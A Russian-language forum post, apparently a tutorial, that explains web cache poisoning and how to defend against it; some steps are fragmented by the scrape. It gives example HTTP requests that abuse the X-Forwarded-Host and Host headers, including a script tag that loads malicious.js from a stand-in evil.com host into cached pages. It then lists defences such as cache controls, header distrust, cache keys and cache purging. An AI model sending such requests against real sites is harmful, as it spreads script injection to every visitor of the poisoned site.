- Регистрация
- 13 Июн 2025
- Сообщения
- 8
- Реакции
- 2
- Баллы
- 3
Сегодня разберём Web Cache Poisoning — атаку, которая позволяет подменять содержимое кеша и травить пользователей вредоносными данными.Всем привет!
Что такое Web Cache Poisoning?
Это когда злоумышленник заставляет сервер или прокси (Cloudflare, Varnish, Nginx) закешировать вредоносный контент, который потом показывается другим пользователям.
Чем опасна?
- XSS для всех пользователей (через кешированный JavaScript)
- Дефейс сайта (подмена страниц)
- Кража данных (внедрение кейлоггеров)
- Обход CSP и других защит
Как работает кеширование?
1. Пользователь запрашивает страницу
2. Сервер или CDN сохраняет ответ в кеш
3. Следующие пользователи получают закешированную версию
Если атакующий подменит ответ до кеширования — все увидят его вредоносную версию!
Пример атаки
1. Подмена заголовков (XSS через X-Forwarded-Host)
Допустим, сайт использует кеширующий прокси (Nginx, Cloudflare) и доверяет заголовку
Код:
X-Forwarded-Host
Шаги атаки:
1. Атакующий отправляет запрос:
Код:
http
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com
Код:
evil.com
Код:
html
<script src="https://evil.com/malicious.js"></script>
4. Все пользователи получают XSS из evil.com!
2. Кеширование ошибок (Дефейс через 404)
Если сайт кеширует страницы с ошибками (например,
Код:
404 Not Found
1. Создать несуществующий URL:
Код:
http
GET /nonexistent-path HTTP/1.1
Host: example.com
Код:
404
3. Атакующий подменяет
Код:
Host
Код:
http
GET /nonexistent-path HTTP/1.1
Host: evil.com
Как защититься?
1. Не кешируйте динамические ответы
- Отключайте кеш для страниц с:
- Персональными данными (
Код:
/profile
Код:
/cart
- CSRF-токенами
- Пользовательскими сессиями
Код:
nginx
location /account {
proxy_cache off;
add_header Cache-Control "no-store";
}
2. Игнорируйте подозрительные заголовки
Не доверяйте:
-
Код:
X-Forwarded-Host
Код:
X-Forwarded-Proto
Код:
CF-Connecting-IP
3. Валидация ключей кеша
Кеш должен учитывать все важные параметры:
-
Код:
Host
Код:
User-Agent
-
Код:
Accept-Language
Код:
vcl
sub vcl_hash {
hash_data(req.http.Host);
hash_data(req.url);
hash_data(req.http.User-Agent);
}
4. Очистка кеша при аномалиях
Если обнаружена атака — полностью сбросьте кеш:
Код:
bash
varnishadm ban 'req.url ~ "."'
Вывод
Web Cache Poisoning — это тихая, но опасная уязвимость, которая может массово заражать пользователей, тема в образовательных целях для защиты от данных угроз, берегите себя.
Последнее редактирование модератором: